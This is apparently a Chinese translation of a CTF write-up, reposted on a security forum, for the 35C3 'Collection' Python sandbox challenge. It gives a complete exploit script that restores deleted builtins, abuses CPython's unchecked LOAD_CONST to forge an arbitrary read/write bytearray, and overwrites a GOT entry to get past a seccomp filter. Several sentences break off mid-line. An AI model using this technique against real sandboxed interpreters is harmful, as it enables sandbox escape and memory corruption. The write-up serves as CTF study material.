

题目基本分析

题目给了以下文件：

```
dist/  
dist/server.py  
dist/Collection.cpython-36m-x86_64-linux-gnu.so  
dist/test.py  
dist/python3.6  
dist/libc-2.27.so
```

正如我们所知，server.py可以接收用户输入的python脚本语言。除此之外，它还可以获取flag并使用dup2将文件描述符复制到fd 1023中，然后用提供的python3.6解释器执行用户的输入。这里有一个小问题，您的代码前面会出现以下这样一段代码：

```
from sys import modules  
del modules['os']  
import Collection  
keys = list(__builtins__.__dict__.keys())  
for k in keys:  
    if k != 'id' and k != 'hex' and k != 'print' and k != 'range':  
        del __builtins__.__dict__[k]
```

此代码尝试设置一个基本的Python沙箱。大体来说，这道题目背后的想法是沙箱逃逸，这样我们就可以从已打开的文件描述符中读取flag。

本来预期的解决方案是利用Collection模块，然而，我的解决方案里面根本没有用到它:P

首先，让我们看看沙箱prefix起到了什么作用：

- 1.它可以删除sys.modules中的os。
- 2.它可以导入原生模块Collection。
- 3.它可以删除__builtins__对象中的每个内建函数，除了id, hex, print和range等一小部分，可能是出题人还算比较仁慈吧。

我的这个非预期的解决方案的第一步是，我们要认识到沙盒python是很难正确执行的，并且从sys.modules或__builtins__中删除的对象实际上是可逆转的，仍然会有

我使用内省机制返回一些基本的内置组件：

```
str = ".__class__  
bytes = b".__class__  
bytearray = [x for x in b".__class__.__base__.__subclasses__() if "bytearray" in str(x)][0]
```

返回os的过程有点棘手，但仍然是可行的：

```
os = [t for t in ().__class__.__bases__[0].__subclasses__() if 'ModuleSpec' in t.__name__][0].__repr__.__globals__['sys'].module
```

这可能要更复杂一点，但不能否认的是，它是有效的。

现在我们有os，看起来我们似乎可以调用os.read(1023, 100)了。但不幸的是，如果我们尝试调用，我们会得到以下输出：

```
Bad system call (core dumped)
```

事实表明，Collection模块设置了一个seccomp过滤器，正是它限制了我们可以使用的系统调用。

于是我用seccomp-tools(<https://github.com/david942j/seccomp-tools>)来提取过滤器：

```
$ seccomp-tools dump "./python3.6 -c 'import Collection'"  
line CODE JT JF K  
=====  
0000: 0x20 0x00 0x00 0x00000004 A = arch  
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003  
0002: 0x06 0x00 0x00 0x00000000 return KILL  
0003: 0x20 0x00 0x00 0x00000000 A = sys_number  
0004: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0006  
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW  
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
```

```

0007: 0x06 0x00 0x00 0x00 0x7fff0000    return ALLOW
0008: 0x15 0x00 0x01 0x0000000c    if (A != brk) goto 0010
0009: 0x06 0x00 0x00 0x00 0x7fff0000    return ALLOW
0010: 0x15 0x00 0x01 0x00000009    if (A != mmap) goto 0012
0011: 0x05 0x00 0x00 0x00 0x00000011    goto 0029
0012: 0x15 0x00 0x01 0x0000000b    if (A != munmap) goto 0014
0013: 0x06 0x00 0x00 0x00 0x7fff0000    return ALLOW
0014: 0x15 0x00 0x01 0x00000019    if (A != mremap) goto 0016
0015: 0x06 0x00 0x00 0x00 0x7fff0000    return ALLOW
0016: 0x15 0x00 0x01 0x00000013    if (A != readv) goto 0018
0017: 0x06 0x00 0x00 0x00 0x7fff0000    return ALLOW
0018: 0x15 0x00 0x01 0x000000ca    if (A != futex) goto 0020
0019: 0x06 0x00 0x00 0x00 0x7fff0000    return ALLOW
0020: 0x15 0x00 0x01 0x00000083    if (A != sigaltstack) goto 0022
0021: 0x06 0x00 0x00 0x00 0x7fff0000    return ALLOW
0022: 0x15 0x00 0x01 0x00000003    if (A != close) goto 0024
0023: 0x06 0x00 0x00 0x00 0x7fff0000    return ALLOW
0024: 0x15 0x00 0x01 0x00000001    if (A != write) goto 0026
0025: 0x05 0x00 0x00 0x00 0x00000037    goto 0081
0026: 0x15 0x00 0x01 0x0000000d    if (A != rt_sigaction) goto 0028
0027: 0x06 0x00 0x00 0x00 0x7fff0000    return ALLOW
0028: 0x06 0x00 0x00 0x00 0x00000000    return KILL
...
--- SNIP - relatively unimporant secondary checks omitted ---
...
0098: 0x06 0x00 0x00 0x00 0x00000000    return KILL

```

比如，我们可以使用以下系统调用：

```

exit
exit_group
brk
munmap
mremap
readv
futex
signalstack
close
rt_sigaction

```

我们也可以write给stderr和stdout，并且在懒得解码的时候使用mmap。

非常重要的一点是，我们用readv来读取flag。除了可以同时缓冲区数组执行多次读取外，readv与read系统调用非常相似。我们应该能够用它来读取flag（利用我们之前

```

flag = bytearray(128)
os.readv(1023, [flag])
print(flag)

```

但输出的结果是

```
Trace/breakpoint trap (core dumped)
```

经过一番摸索我们发现，Collection模块实际上暗藏了一个玄机。在加载模块时，它会在运行时修补主python可执行文件，并用一系列0xCC指令（调试陷阱）覆盖大部分

通常，在Python中获取本机代码很容易，只需使用ctypes模块即可。但由于seccomp限制，我们无法加载任何其他模块。经过一番探索后，我发现了这个使用自定义Python，它可以用于设置任意的读/写原语。虽然它是为python2编写的，但我们可以调整相同的概念以适应我们的64位python3.6。这种技术看起来相当复杂（它让我想起了一些

这个python feature/bug的核心在于python如何解析它的字节码——特别是操作码LOAD_CONST：

```

/* Python/ceval.c line 1298 */
TARGET(LOAD_CONST) {
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}

```

宏GETITEM(consts, oparg)从元组consts中的index oparg中检索对象，而不进行任何边界检查（但仅在Py_DEBUG未定义的情况下！）

对此，我们可以这样利用：

- 1.在堆上创建一个伪bytearray对象。
- 2.计算出从consts元组到伪bytearray的指针偏移量。
- 3.编写字节码，返回我们对伪bytearray的引用。
- 4.调用自定义字节码。
- 5.这样就可以用这个bytearray来读/写任何地址了。

为了更好地理解其中的细节，我们需要了解CPython如何在内部存储元组和bytearray。我已经在CPython源中重建了以下内容：

```
struct PyByteArrayObject {
    int64_t ob_refcnt; /* can be basically any value we want */
    struct _typeobject *ob_type; /* points to the bytearray type object */
    int64_t ob_size; /* Number of items in variable part */
    int64_t ob_alloc; /* How many bytes allocated in ob_bytes */
    char *ob_bytes; /* Physical backing buffer */
    char *ob_start; /* Logical start inside ob_bytes */
    int32_t ob_exports; /* Not exactly sure what this does, we can ignore it */
}

struct PyTupleObject {
    int64_t ob_refcnt;
    struct _typeobject *ob_type;
    int64_t ob_size;
    PyObject *ob_item[1]; /* contains ob_size elements */
}
```

第1步很简单，我们可以将一些数据放在一个真的bytearray中，它将被存储在堆上。第2步也很简单，Python有一个内置函数id，它返回对象的内存地址。如果我们添加0x

一旦我们有了一个读/写原语，我们只需在GOT中将libc函数writev更换为readv，这样我们就可以使用Python函数os.writev代替os.readv，因为readv和writev在什

结论

当我们把上面这些都搞懂了以后，我们就可以来看看最终的成果了：

```
# recreate things we can't import
str = "".__class__
bytes = b").__class__
bytearray = [x for x in b").__class__.__base__.__subclasses__() if "bytearray" in str(x)][0]
os = [t for t in ().__class__.__bases__[0].__subclasses__() if 'ModuleSpec' in t.__name__][0].__repr__.__globals__['sys'].module

# from dis.opmap
OP_LOAD_CONST = 100
OP_EXTENDED_ARG = 144
OP_RETURN_VALUE = 83

# packing utilities
def p8(us):
    return bytes([us&0xff])

def p64(n):
    result = []
    for i in range(0, 64, 8): result.append((n>>i)&0xff)
    return bytes(result)

def u64(n):
    res = 0
    for x in n[::-1]: res = (res<<8) | x
    return res

const_tuple = ()

# construct the fake bytearray
fake_bytearray = bytearray(
    p64(0x41414141) + # ob_refcnt
    p64(id(bytearray)) + # ob_type
    p64(0x7fffffff) + # ob_size (INT64_MAX)
    p64(0) + # ob_alloc (doesn't seem to really be used?)
```

```

    p64(0) +                # *ob_bytes (start at address 0)
    p64(0) +                # *ob_start (ditto)
    p64(0)                  # ob_exports (not really sure what this does)
)

fake_bytearray_ptr_addr = id(fake_bytearray) + 0x20
const_tuple_array_start = id(const_tuple) + 0x18
offset = (fake_bytearray_ptr_addr - const_tuple_array_start) // 8

print(offset)

# construct the bytecode
bytecode = b""
for i in range(8, 32, 8)[::-1]:
    bytecode += p8(OP_EXTENDED_ARG) + p8(offset>>i)
bytecode += p8(OP_LOAD_CONST) + p8(offset)
bytecode += p8(OP_RETURN_VALUE)

def foo(): pass
foo.__code__ = foo.__code__.__class__(
    0, 0, 0, 0, 0,
    bytecode, const_tuple,
    (), (), "", "", 0, b""
)
magic = foo() # magic is now a window into most of the address space!

print(magic[0x400000:0x400000+4]) # read the elf header as a sanity check

readv_got = 0x9b3d80
writev_got = 0x9b3b28
read_got = 0x9b32e8
diff = 0x116600 - 0x110070 # libc_readv - libc_read

libc_read = u64(magic[read_got:read_got+8])
print("libc_read @", hex(libc_read))

libc_readv = libc_read + diff
print("libc_readv @", hex(libc_readv))

# replace writev with readv in the GOT
magic[writev_got:writev_got+8] = p64(libc_readv)

flag = bytearray(100)
flaglen = os.writev(1023, [flag]) # actually readv!!!
print(flag[:flaglen])

```

PS：我在这里发现了另一篇关于LOAD_CONST bug的好文章(https://doar-e.github.io/blog/2014/04/17/deep-dive-into-pythons-vm-story-of-load_const-bug/)。

原文链接：<https://www.da.vidbuchanan.co.uk/blog/35c3ctf-collection-writeup.html>

点击收藏 | 0 关注 | 1

[上一篇：浅析CTF中的反静态调试（二）](#) [下一篇：PHPCMS漏洞分析合集\(上\)](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)